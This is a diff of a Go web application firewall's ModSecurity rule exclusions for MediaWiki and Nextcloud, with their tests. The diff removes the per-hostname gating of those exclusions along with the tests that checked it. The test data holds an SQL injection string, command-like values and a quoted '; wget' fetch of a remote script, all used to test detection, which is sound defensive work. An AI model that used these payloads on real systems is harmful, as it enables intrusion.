sent,
|
|
||||||
value,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
unescaped, err := url.QueryUnescape(value)
|
unescaped, err := url.QueryUnescape(value)
|
||||||
@@ -366,11 +279,7 @@ func mastodonScores(
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
|
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
|
||||||
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(
|
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(t, sent, unescaped)
|
||||||
t,
|
|
||||||
sent,
|
|
||||||
unescaped,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return scores
|
return scores
|
||||||
@@ -407,11 +316,8 @@ func TestMastodonPasswordsPass(t *testing.T) {
|
|||||||
t.Run("JSON", func(t *testing.T) {
|
t.Run("JSON", func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
r := request{
|
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
|
||||||
mastodonPasswordJSON.method,
|
[]string{jsonBody}}
|
||||||
mastodonPasswordJSON.target,
|
|
||||||
[]string{jsonBody},
|
|
||||||
}
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, "password")
|
wantRandomPasswordsPass(t, r, "password")
|
||||||
wantPasswordAttacksPass(t, r, "password")
|
wantPasswordAttacksPass(t, r, "password")
|
||||||
@@ -426,16 +332,8 @@ func TestMastodonPasswordConfirmationPasses(t *testing.T) {
|
|||||||
|
|
||||||
wantPasswordFieldsPass(t, []passwordFields{
|
wantPasswordFieldsPass(t, []passwordFields{
|
||||||
{"/auth/challenge", formData, challenge},
|
{"/auth/challenge", formData, challenge},
|
||||||
{
|
{"/settings/two_factor_authentication/otp_authentication", formData, challenge},
|
||||||
"/settings/two_factor_authentication/otp_authentication",
|
{"/settings/two_factor_authentication_methods/disable", formData, challenge},
|
||||||
formData,
|
|
||||||
challenge,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"/settings/two_factor_authentication_methods/disable",
|
|
||||||
formData,
|
|
||||||
challenge,
|
|
||||||
},
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -610,11 +508,7 @@ func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
|
|||||||
{mastodonReport, "false"},
|
{mastodonReport, "false"},
|
||||||
{mastodonForwardedReport, "remote.example"},
|
{mastodonForwardedReport, "remote.example"},
|
||||||
} {
|
} {
|
||||||
report := mastodonBodyField{
|
report := mastodonBodyField{http.MethodPost, mastodonReports, sent.body}
|
||||||
http.MethodPost,
|
|
||||||
mastodonReports,
|
|
||||||
sent.body,
|
|
||||||
}
|
|
||||||
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
|
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
|
||||||
t.Errorf("%v refused: %d", report, got)
|
t.Errorf("%v refused: %d", report, got)
|
||||||
}
|
}
|
||||||
@@ -678,20 +572,12 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Elsewhere both keep the two rules.
|
// Elsewhere both keep the two rules.
|
||||||
signIn := mastodonBodyField{
|
signIn := mastodonBodyField{http.MethodPost, mastodonSignIn, mastodonUsername.field}
|
||||||
http.MethodPost,
|
|
||||||
mastodonSignIn,
|
|
||||||
mastodonUsername.field,
|
|
||||||
}
|
|
||||||
if mastodonForm(t, signIn, "python3") < mastodonThreshold {
|
if mastodonForm(t, signIn, "python3") < mastodonThreshold {
|
||||||
t.Errorf("%v let through", signIn)
|
t.Errorf("%v let through", signIn)
|
||||||
}
|
}
|
||||||
|
|
||||||
statuses := mastodonBodyField{
|
statuses := mastodonBodyField{http.MethodPost, mastodonStatuses, mastodonHashtag.field}
|
||||||
http.MethodPost,
|
|
||||||
mastodonStatuses,
|
|
||||||
mastodonHashtag.field,
|
|
||||||
}
|
|
||||||
if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
|
if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
|
||||||
t.Errorf("%v let through", statuses)
|
t.Errorf("%v let through", statuses)
|
||||||
}
|
}
|
||||||
@@ -731,11 +617,7 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
|
|||||||
// Elsewhere the address keeps every rule.
|
// Elsewhere the address keeps every rule.
|
||||||
for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
|
for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
|
||||||
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
|
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
|
||||||
if mastodonForm(
|
if mastodonForm(t, sent, "python3%40example.com") < mastodonThreshold {
|
||||||
t,
|
|
||||||
sent,
|
|
||||||
"python3%40example.com",
|
|
||||||
) < mastodonThreshold {
|
|
||||||
t.Errorf("%v let through", sent)
|
t.Errorf("%v let through", sent)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
|
# The eleventh change: on MediaWiki's paths, some fields skip the rules that
|
||||||
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
|
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
|
||||||
# sends a search, a title, a name, a file name, an address, a summary or a
|
# sends a search, a title, a name, a file name, an address, a summary or a
|
||||||
# reason, and the fields that hold wikitext. Each exclusion runs with the
|
# reason, and the fields that hold wikitext. Each exclusion runs with the
|
||||||
@@ -21,13 +21,6 @@
|
|||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_mediawiki. It sets
|
|
||||||
# it while SWW_APPS is unset, or lists mediawiki for the request's hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_mediawiki itself.
|
|
||||||
SecRule &TX:app_mediawiki "@eq 0" \
|
|
||||||
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
|
|
||||||
|
|
||||||
# The pages and their titles, the searches, and the special pages' fields
|
# The pages and their titles, the searches, and the special pages' fields
|
||||||
# for a page, a user, a file or an address:
|
# for a page, a user, a file or an address:
|
||||||
# title: /index.php?title=Python3_notes&action=history
|
# title: /index.php?title=Python3_notes&action=history
|
||||||
@@ -215,12 +208,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
|||||||
# Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title
|
# Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title
|
||||||
# of /index.php. A title on any other path does not count, so another app's
|
# of /index.php. A title on any other path does not count, so another app's
|
||||||
# paths under /index.php/ keep every rule. These rules are in phase 2, because
|
# paths under /index.php/ keep every rule. These rules are in phase 2, because
|
||||||
# the forms send authAction in the body. They check tx.app_mediawiki, since the
|
# the forms send authAction in the body.
|
||||||
# skip above does not reach phase 2.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
|
||||||
"id:900919,phase:2,pass,nolog,chain"
|
"id:900919,phase:2,pass,nolog,chain"
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
|
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
|
||||||
SecRule &TX:app_mediawiki "@eq 1" "chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain"
|
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain"
|
||||||
SecRule ARGS:authAction "@streq change" \
|
SecRule ARGS:authAction "@streq change" \
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
|
||||||
@@ -262,7 +253,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/
|
|||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
|
||||||
"id:900920,phase:2,pass,nolog,chain"
|
"id:900920,phase:2,pass,nolog,chain"
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
|
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
|
||||||
SecRule &TX:app_mediawiki "@eq 1" "chain"
|
|
||||||
SecRule &ARGS_GET:retype "@eq 0" "chain"
|
SecRule &ARGS_GET:retype "@eq 0" "chain"
|
||||||
SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \
|
SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\
|
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\
|
||||||
@@ -391,12 +381,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
||||||
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
||||||
# once, since it would otherwise skip these rules for a second wpTitles
|
# once, since it would otherwise skip these rules for a second wpTitles
|
||||||
# holding a command. It checks tx.app_mediawiki, since the skip above does not
|
# holding a command.
|
||||||
# reach phase 2.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||||
"id:900916,phase:2,pass,nolog,chain"
|
"id:900916,phase:2,pass,nolog,chain"
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||||
SecRule &TX:app_mediawiki "@eq 1" "chain"
|
|
||||||
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
||||||
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
||||||
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
||||||
@@ -405,5 +393,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
||||||
|
|
||||||
SecMarker END_MEDIAWIKI
|
|
||||||
@@ -5,16 +5,11 @@ import (
|
|||||||
"slices"
|
"slices"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const mediawikiThreshold = 5
|
const mediawikiThreshold = 5
|
||||||
|
|
||||||
// mediawiki is MediaWiki's name in SWW_APPS.
|
|
||||||
const mediawiki = "mediawiki"
|
|
||||||
|
|
||||||
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
||||||
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
||||||
|
|
||||||
@@ -54,117 +49,6 @@ const (
|
|||||||
mediawikiUploadPage = "/index.php/Special:Upload"
|
mediawikiUploadPage = "/index.php/Special:Upload"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {mediawiki},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only MediaWiki's fixes let through.
|
|
||||||
search := get("/index.php?title=Special:Search&search=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
||||||
Apps: map[string][]string{
|
|
||||||
giteaHost: {gitea},
|
|
||||||
otherHost: {mediawiki},
|
|
||||||
},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A watchlist that only the phase 2 rule 900916 lets through.
|
|
||||||
r := request{
|
|
||||||
http.MethodPost,
|
|
||||||
mediawikiWatchlist.target,
|
|
||||||
[]string{formData},
|
|
||||||
}
|
|
||||||
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
|
|
||||||
if got.Score >= mediawikiThreshold {
|
|
||||||
t.Errorf(
|
|
||||||
"POST %s %s on %s refused: %+v",
|
|
||||||
r.target,
|
|
||||||
body,
|
|
||||||
otherHost,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
|
|
||||||
if got.Score < mediawikiThreshold {
|
|
||||||
t.Errorf(
|
|
||||||
"POST %s %s on %s let through: %+v",
|
|
||||||
r.target,
|
|
||||||
body,
|
|
||||||
giteaHost,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
||||||
Apps: map[string][]string{
|
|
||||||
giteaHost: {gitea},
|
|
||||||
otherHost: {mediawiki},
|
|
||||||
},
|
|
||||||
})
|
|
||||||
|
|
||||||
// Passwords that only the phase 2 rules 900919 and 900920 let through,
|
|
||||||
// each sent with the authAction of its form.
|
|
||||||
for _, sent := range []struct{ target, body string }{
|
|
||||||
{
|
|
||||||
mediawikiAccountChange,
|
|
||||||
formBody("authAction", "change") + "&" + formBody(passwordKey, "' OR '1'='1"),
|
|
||||||
},
|
|
||||||
{
|
|
||||||
mediawikiSignUp,
|
|
||||||
formBody("authAction", "create") + "&" + formBody(retypeKey, "' OR '1'='1"),
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, withHost(r, otherHost), sent.body)
|
|
||||||
if got.Score >= mediawikiThreshold {
|
|
||||||
t.Errorf(
|
|
||||||
"POST %s %s on %s refused: %+v",
|
|
||||||
r.target,
|
|
||||||
sent.body,
|
|
||||||
otherHost,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ = inspectBody(t, crs, withHost(r, giteaHost), sent.body)
|
|
||||||
if got.Score < mediawikiThreshold {
|
|
||||||
t.Errorf(
|
|
||||||
"POST %s %s on %s let through: %+v",
|
|
||||||
r.target,
|
|
||||||
sent.body,
|
|
||||||
giteaHost,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
||||||
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
|
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
|
||||||
@@ -337,13 +221,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+attack)
|
got, _ := inspectBody(t, crs, r, sent.field+attack)
|
||||||
if got.Score < mediawikiThreshold {
|
if got.Score < mediawikiThreshold {
|
||||||
t.Errorf(
|
t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
|
||||||
"POST %s %s%s let through: %+v",
|
|
||||||
sent.target,
|
|
||||||
sent.field,
|
|
||||||
attack,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -353,11 +231,7 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
scriptTag,
|
scriptTag,
|
||||||
} {
|
} {
|
||||||
for _, field := range []string{"source", "comment"} {
|
for _, field := range []string{"source", "comment"} {
|
||||||
r := request{
|
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
||||||
http.MethodPut,
|
|
||||||
mediawikiRESTPage,
|
|
||||||
[]string{jsonBody},
|
|
||||||
}
|
|
||||||
body := `{"` + field + `":"` + attack + `"}`
|
body := `{"` + field + `":"` + attack + `"}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -396,31 +270,15 @@ func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
|
|||||||
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
|
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
|
||||||
{mediawikiSignIn + "&" + loginContinue, formData, retype},
|
{mediawikiSignIn + "&" + loginContinue, formData, retype},
|
||||||
{mediawikiAccountChange + "?" + changeAction, formData, change},
|
{mediawikiAccountChange + "?" + changeAction, formData, change},
|
||||||
{
|
{mediawikiAccountChange + subpage + "?" + changeAction, formData, change},
|
||||||
mediawikiAccountChange + subpage + "?" + changeAction,
|
{"/index.php/Special:ChangeCredentials?" + changeAction, formData, change},
|
||||||
formData,
|
|
||||||
change,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"/index.php/Special:ChangeCredentials?" + changeAction,
|
|
||||||
formData,
|
|
||||||
change,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
|
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
|
||||||
formData, change,
|
formData, change,
|
||||||
},
|
},
|
||||||
{
|
{"/w/index.php?title=Special:ChangeCredentials&" + changeAction, formData, change},
|
||||||
"/w/index.php?title=Special:ChangeCredentials&" + changeAction,
|
|
||||||
formData,
|
|
||||||
change,
|
|
||||||
},
|
|
||||||
// A German wiki's names for the same pages.
|
// A German wiki's names for the same pages.
|
||||||
{
|
{"/index.php/Spezial:Benutzerkonto_anlegen?" + create, formData, retype},
|
||||||
"/index.php/Spezial:Benutzerkonto_anlegen?" + create,
|
|
||||||
formData,
|
|
||||||
retype,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
|
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
|
||||||
formData, retype,
|
formData, retype,
|
||||||
@@ -461,12 +319,7 @@ func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
|
|||||||
|
|
||||||
body := formBody(sent.name, "' OR '1'='1")
|
body := formBody(sent.name, "' OR '1'='1")
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
|
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
|
||||||
t.Errorf(
|
t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
|
||||||
"POST %s %s let through: %+v",
|
|
||||||
sent.target,
|
|
||||||
sent.name,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -497,9 +350,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
targets := append(
|
targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
|
||||||
[]string{"/load.php?modules="},
|
|
||||||
mediawikiQueryFields...)
|
|
||||||
|
|
||||||
for _, target := range targets {
|
for _, target := range targets {
|
||||||
got := inspect(t, crs, get(target+mediawikiCommandAttack))
|
got := inspect(t, crs, get(target+mediawikiCommandAttack))
|
||||||
@@ -516,12 +367,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
||||||
if got.Score < mediawikiThreshold {
|
if got.Score < mediawikiThreshold {
|
||||||
t.Errorf(
|
t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
|
||||||
"POST %s %s let through: %+v",
|
|
||||||
sent.target,
|
|
||||||
sent.field,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -536,11 +382,7 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|||||||
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
|
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
|
||||||
// holds no ";", "|", "&", backtick or "{", and only when the body sends
|
// holds no ";", "|", "&", backtick or "{", and only when the body sends
|
||||||
// it once.
|
// it once.
|
||||||
r = request{
|
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
||||||
http.MethodPost,
|
|
||||||
mediawikiWatchlist.target,
|
|
||||||
[]string{formData},
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
mediawikiCommandAttack,
|
mediawikiCommandAttack,
|
||||||
@@ -586,13 +428,7 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||||
if got.Score >= mediawikiThreshold {
|
if got.Score >= mediawikiThreshold {
|
||||||
t.Errorf(
|
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
||||||
"POST %s %s%s refused: %+v",
|
|
||||||
sent.target,
|
|
||||||
sent.field,
|
|
||||||
value,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -608,11 +444,7 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// A watchlist holds the title on its second line, as recorded.
|
// A watchlist holds the title on its second line, as recorded.
|
||||||
r := request{
|
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
||||||
http.MethodPost,
|
|
||||||
mediawikiWatchlist.target,
|
|
||||||
[]string{formData},
|
|
||||||
}
|
|
||||||
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
|
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
||||||
@@ -685,11 +517,7 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
|
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
|
||||||
{mediawikiAPI + "?action=edit", "text=python3"},
|
{mediawikiAPI + "?action=edit", "text=python3"},
|
||||||
} {
|
} {
|
||||||
r := request{
|
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
|
||||||
http.MethodPost,
|
|
||||||
sent.target + "&" + sent.field,
|
|
||||||
[]string{formData},
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field)
|
got, _ := inspectBody(t, crs, r, sent.field)
|
||||||
if got.Score < mediawikiThreshold {
|
if got.Score < mediawikiThreshold {
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
|
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
|
||||||
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
||||||
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
||||||
# a document's text. Each exclusion runs with the request, before the rules it
|
# a document's text. Each exclusion runs with the request, before the rules it
|
||||||
@@ -29,13 +29,6 @@
|
|||||||
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
||||||
# injection, path traversal and script injection are still refused there.
|
# injection, path traversal and script injection are still refused there.
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_nextcloud. It sets
|
|
||||||
# it while SWW_APPS is unset, or lists nextcloud for the request's hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_nextcloud itself.
|
|
||||||
SecRule &TX:app_nextcloud "@eq 0" \
|
|
||||||
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
|
|
||||||
|
|
||||||
# The sync client and the Files app use these WebDAV methods besides those
|
# The sync client and the Files app use these WebDAV methods besides those
|
||||||
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
||||||
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
||||||
@@ -162,10 +155,8 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:login/confirm|lostpassword/se
|
|||||||
# change: key=password&value=..., or the same in JSON. This rule is in phase 2,
|
# change: key=password&value=..., or the same in JSON. This rule is in phase 2,
|
||||||
# because a phase 1 rule runs before the body is read. It checks that the body
|
# because a phase 1 rule runs before the body is read. It checks that the body
|
||||||
# sends key once, so a second key cannot skip these rules for another field.
|
# sends key once, so a second key cannot skip these rules for another field.
|
||||||
# It checks tx.app_nextcloud, since the skip above does not reach phase 2.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
|
||||||
"id:900127,phase:2,pass,nolog,chain"
|
"id:900127,phase:2,pass,nolog,chain"
|
||||||
SecRule &TX:app_nextcloud "@eq 1" "chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
|
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
|
||||||
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
|
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
|
||||||
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
|
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
|
||||||
